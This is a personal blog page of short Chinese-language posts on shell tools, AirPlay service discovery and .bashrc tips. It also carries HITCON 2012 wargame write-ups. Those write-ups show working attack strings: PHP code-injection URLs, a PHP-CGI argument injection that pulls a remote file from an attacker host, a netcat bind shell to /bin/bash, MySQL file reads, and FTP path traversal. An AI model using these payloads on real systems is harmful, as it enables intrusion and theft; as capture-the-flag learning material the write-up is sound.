blog.dm4.tw

dm4's blog

用 Xxd 解 Hex String

| Comments

本來解 hex string 都是用有點醜的 perl one-liner

1
2
$ perl -ne 'print map chr hex, m/../g' <<< 646d340a
dm4

不過昨天又研究了一下 xxd 發現一些神秘的功能,像是發現有 C style 的 output !

1
2
3
4
5
6
$ xxd -i data
unsigned char data[] = {
  0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x62, 0x69, 0x61, 0x6e,
  0x72, 0x79, 0x3f, 0x0a
};
unsigned int data_len = 16;

還可以調 column 數

1
2
3
4
5
6
$ xxd -i -c 8 data
unsigned char data[] = {
  0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20,
  0x62, 0x69, 0x61, 0x6e, 0x72, 0x79, 0x3f, 0x0a
};
unsigned int data_len = 16;

然後 atdog 大大看到之後,又教了我怎麼用 xxd 解 hex string

  • 生 hex string
1
2
$ xxd -p <<< dm4
646d340a
  • 解 hex string
1
2
$ xxd -p -r <<< 646d340a
dm4

太帥了!而且比原本 perl one-liner 短好多啊啊啊

Dns-sd & AirPlay / AirTunes

| Comments

Usage

$ dns-sd
dns-sd -E                  (Enumerate recommended registration domains)
dns-sd -F                      (Enumerate recommended browsing domains)
dns-sd -R <Name> <Type> <Domain> <Port> [<TXT>...] (Register a service)
dns-sd -B        <Type> <Domain>        (Browse for services instances)
dns-sd -L <Name> <Type> <Domain>           (Look up a service instance)
dns-sd -P <Name> <Type> <Domain> <Port> <Host> <IP> [<TXT>...]  (Proxy)
dns-sd -q <name> <rrtype> <rrclass> (Generic query for any record type)
dns-sd -Z        <Type> <Domain>   (Output results in Zone File format)
dns-sd -G     v4/v6/v4v6 <name>  (Get address information for hostname)
dns-sd -V    (Get version of currently running daemon / system service)

Type

  • AirTunes 是 _raop._tcp.
  • AirPlay 是 _airplay._tcp.

Browse & Look up

$ dns-sd -B _raop._tcp
Browsing for _raop._tcp
Timestamp     A/R Flags if Domain                    Service Type              Instance Name
17:05:13.971  Add     3  8 local.                    _raop._tcp.               [email protected]

$ dns-sd -L "[email protected]" _raop._tcp.
Lookup [email protected]_raop._tcp..local
17:11:26.993  [email protected]_raop._tcp.local. can be reached at Hello.local.:50391 (interface 8) Flags: 1
 et=0,3,5 cn=1,2,3 da=true sf=0x4 tp=UDP vv=1 pw=false am=AppleTV3,1 txtvers=1 vn=65537 md=0,1,2 vs=150.33 sv=false ch=2 sr=44100 rhd=4.6.5 ss=16

Command Line 小知識

| Comments

前幾天看了這篇 To understand the command line… 覺得蠻有趣的,大概是在說:

  • awk: 作者名字的縮寫
  • cat: concatenate
  • more: 螢幕最下面會顯示 “More”
  • less: more 的加強版,因為 “less is more” 所以叫 less
  • ed: editor
  • sed: stream editor
  • grep: 在 ed 裡要找有包含特定字串的行並印出,本來是要用 g/regular expression/p ,簡寫成 g/re/p 就變成 grep
  • hjkl 方向鍵是因為 ADM-3A
  • ~ 代表 HOME 也是因為 ADM-3A
  • . 開頭的檔案是隱藏檔,本來只是要跳過 ... ,結果寫出有 bug 的 if (name[0] == '.') continue;

HITCON 2012 Wargame Notes - Part 2

| Comments

Web 5

結果回家研究了一下,終於把 Web 5 也解出來了!好後悔在 HITCON 花太多時間在看 駭客觀察日記 啊啊啊 orz

這題的 提示二 出來之後,可以發現長檔名的檔案/資料夾會因為 ~ 的縮寫而 disclosure ,所以可以寫個 script 來踹,或是用 hint 裡有提到的 iis-shortname-scanner-poc

不過試了之後發現 file disclosure 只限於有 ~ 的長檔名, 如果只是 6, 7 個字的檔案/資料夾是不會被套用縮寫的規則,所以也就踹不出來, 在 HITCON 的時候我們就是卡在這裡。

回家再查了多一點資料的時候,看到更多有關 8.3 Filename 的介紹,其中提到:

To disable short filename support, use the registration database editor, REGEDT32.EXE, and search the HKEY_LOCAL_MACHINE section for the entry HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\FileSystem. Change the value of the parameter NtfsDisable8dot3NameCreation to a value of 1 (one), and then short filename generation will be disabled.

所以就想到去試一下 http://wg2.hack.idv.tw:2012/HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/FileSystem/NtfsDisable8dot3NameCreation/key.txt 沒想到就…… orz

Firefox HackBar Font Setting on Mac OSX

| Comments

聽說 HackBar 是 Firefox 下很好用的 extension , 不過在 Mac OSX 下的字型實在是……慘不忍賭,所以找了一下設定檔在哪裡,Firefox extension 在 Mac OSX 下的路徑是:

~/Library/Application Support/Firefox/Profiles/xxxxxxxx.default/extensions/{F5DDF39C-9293-4d5e-9AA8-E04E6DD5E9B4}.xpi

其中 xxxxxxxx.default 可能要自己找一下,找到 .xpi 之後可以直接用 vim 來改裡面的檔(.xpi 就是一包 .zip),找到 chrome/skin/hackbar.css 把 textbox 的部份加上想要的字型和大小:

textbox#hackBarTargetUrl,
textbox#hackBarTargetUrlPostField,
textbox#hackBarTargetUrlReferrerField { font-family: monaco, monospace, courier; font-size: 16px; }

就有舒服的 HackBar 可以看了~

hackbar-font-setting

如果想要自己改 source 話,也可以到 HackBar Firefox Extension 來載 source code

HITCON 2012 Wargame Notes

| Comments

今年是第二年來 HITCON ,去年感謝 atdog 大大帶我一起報名 HITCON 玩 wargame , 本來想說和去年一樣解解 QR code 我就很開心了,沒想到今年運氣不錯 XD

感謝同隊 crax 的組員: atdog xman jeffxx cyen hliu kvchung

Wargame 題目有大大幫忙備分了:HITCON 2012 Wargame

Wargame 心得

這次因為運氣好,所以有幾題 web 都用爛招解掉了 XD 用和 hint 沒關係的解法繞掉其實解的有點心虛,下面是今年我有幫到一些忙的題目:

Web 1

主要就是利用 {${fucntion()}} 來直接執行 php function ,本來想用 file_get_contents() 來讀 key.php 發現被擋掉了, 所以就試著用 include() 再用 get_defined_vars()var_dump() 看有沒有設什麼變數,還好 key.php 是把 key 放在變數裡, 不然的話就要用其他方法去看 source 了。

http://wg.hack.idv.tw/~ow100/orange.php?name=dm4&data={${include($_GET[key])}}{${var_dump(get_defined_vars())}}
http://wg.hack.idv.tw/~ow100/yourfiles/dm4.config.php?key=../key.php

Web 2

利用 Web 3 給的 sqln00b/sqln00b 可以登入 phpMyAdmin ,接著把 key.php LOAD 到任何一個 table 就可以了:

CREATE TABLE web2 (src TEXT);
LOAD DATA LOCAL INFILE '/home/ow200/public_html/key.php' INTO TABLE web2;

Web 4

info.php 發現 Server API: CGI 想到應該是在說今年的 PHP CGI vulnerability ,這東西今年出來的時候有看一下,不過其實還是在解題的時候才真的看懂 XD

htaccess.txt 裡可以看到

RewriteCond %{QUERY_STRING} \-|\-d[a-z_]+%3d|%2d[a-z_]+%3d [NC]

發現 %2d 擋的比較鬆,所以研究了一下可以用

http://wg.hack.idv.tw/~w100/info.php?%2dd+allow_url_include%3dOn+%2dd+auto_prepend_file%3dhttp://myhost/a.txt

來做 remote code execution ,試了一下就可以發現要找的東西在 ../key.txt ,所以在 a.txt 這樣寫就可以讓它噴 key 了:

<?php
    system('cat ../key.txt');
    exit();
?>

本來以為這題這樣就結束了,不過我們想到既然可以用 cat ,搞不好這題可以……

<?php
    system('nc -l -p 5566 -e /bin/bash');
    exit();
?>

然後……

[~] $ nc wg.hack.idv.tw 5566
id
uid=1002(w100) gid=33(www-data) groups=1002(w100),33(www-data)

Web 3

這題看 hint 應該是要用 mysql client 的 system 來解,不過我們利用 Web 4 拿到的 back connect shell 可以發現要找的東西是 /home/my100/key.txt ,所以一樣用:

CREATE TABLE web3 (src TEXT);
LOAD DATA LOCAL INFILE '/home/my100/key.txt' INTO TABLE web3;

就可以在 Web 2 的 phpMyAdmin 看到 key 囉~

Web 6

也是用爛招…… 用 Web 4 拿到的 shell 去看 Web 6 的 source ,在 /home/a200/public_html/index.php 裡面會判斷如果用 admin 登入的話,會噴 base64 encode 之後的 key

Potent Pwnables 2

nmap 完之後發現有開 ftp ,查了一下發現有 Serv-U FTP Jail Break 和 hint 一模一樣應該就是它了吧 XD 不過那時候肚子太餓又找不到怎麼登入 ftp ,把連結跟 atdog 說了之後我就出去吃點心, 回來之後就被解掉了,id/pw 好像就是 hitcon2012/hitcon2012 ,隊友好強啊!

關鍵是 Plz Input "Your" Real ID: 要用 wargame.hitcon.org 的帳號去 generate key.txt 接下來就:

[~] ➟  ftp jumpochisun.blogsyte.com
Connected to jumpochisun.blogsyte.com.
220 Serv-U FTP Server v6.4 for WinSock ready...
Name (jumpochisun.blogsyte.com:dm4): hitcon2012
331 User name okay, need password.
Password: 
230 User logged in, proceed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get ..:/..:/..:/..:/key/dm4key.txt key.txt
local: key.txt remote: ..:/..:/..:/..:/key/dm4key.txt
227 Entering Passive Mode (114,36,241,246,15,231)
150 Opening BINARY mode data connection for dm4key.txt (28 Bytes).
100% |**************************************************|    28      179.89 KiB/s    00:00 ETA
226 Transfer complete.
28 bytes received in 00:00 (0.80 KiB/s)

剩下的時間都在試著解 Web 5 ,以及一直看 駭客觀察日記 不過看到結束還是沒找到應該怎麼解……

再次感謝辛苦的主辦單位和工作人員!還有又強又好心收留我帶我一起玩的 crax 隊友!

爽啊!

hitcon-2012-wargame-socre

.bashrc Sourced Twice

| Comments

昨天解決了困擾了一陣子的問題,在 .bashrc 裡,如果有改到 $PATH

export PATH=~/bin:$PATH

又因為我會用到 tmux ,所以在 tmux 裡開新的 shell 時,會再 source 一次 .bashrc ,本來我的解法是這樣:

[ -z "$TMUX" ] && export PATH=~/bin:$PATH

也就是在 tmux 裡新開啟的 shell 並不會再改一次 $PATH ,可是這樣又遇到了另一個問題:當新的 shell 打開時,本來應該被加在前面的 ~/bin 會被接到後面去,我在想應該是開新 shell 時 bash 自己做的處理,我在 /etc/bashrc 裡也沒有看到相關的 script 。

對於這個問題我最後的解法是參考 perlbrew 裡的這段 script :

export PATH_WITHOUT_PERLBREW="$(perl -e 'print join ":", grep { index($_, $ENV{PERLBREW_ROOT}) } split/:/,$ENV{PATH};')"

if [[ -z "$PERLBREW_PATH" ]]; then
    export PERLBREW_PATH="$PERLBREW_ROOT/bin"
fi

export PATH="$PERLBREW_PATH:$PATH_WITHOUT_PERLBREW"

最後的結果:

export PATH="~/bin:$(perl -e 'print join ":", grep { $_ ne "~/bin" } split/:/, $ENV{PATH};')"

Update 2012-05-13

為了避免 ~/bin$HOME/bin 混用,所以改了一下 script

export PATH=$HOME/bin:"$(perl -e 'print join ":", grep { $_ ne "$ENV{HOME}/bin" && $_ ne "~/bin" } split/:/, $ENV{PATH};')"

[ and [[ in Shell Script

| Comments

終於搞懂在 shell script 裡 [ ... ][[ ... ]] 的差別了

$ help [
[: [ arg... ]
    This is a synonym for the "test" builtin, but the last
    argument must be a literal `]', to match the opening `['.
[[ ... ]]: [[ expression ]]
    Returns a status of 0 or 1 depending on the evaluation of the conditional
    expression EXPRESSION.  Expressions are composed of the same primaries used
    by the `test' builtin, and may be combined using the following operators

        ( EXPRESSION )  Returns the value of EXPRESSION
        ! EXPRESSION    True if EXPRESSION is false; else false
        EXPR1 && EXPR2  True if both EXPR1 and EXPR2 are true; else false
        EXPR1 || EXPR2  True if either EXPR1 or EXPR2 is true; else false

    When the `==' and `!=' operators are used, the string to the right of the
    operator is used as a pattern and pattern matching is performed.  The
    && and || operators do not evaluate EXPR2 if EXPR1 is sufficient to
    determine the expression's value.

簡單的說就是要用 &&, ||, !, () 的話要用 [[ ... ]]

First Post

| Comments

聽說很潮來用一下傳說中的 octopress

本來覺得不會 ruby 怕怕的,可是還是忍不住想試試看用 Markdown 寫 blog 的感覺,一試之下才發現……也太方便了吧!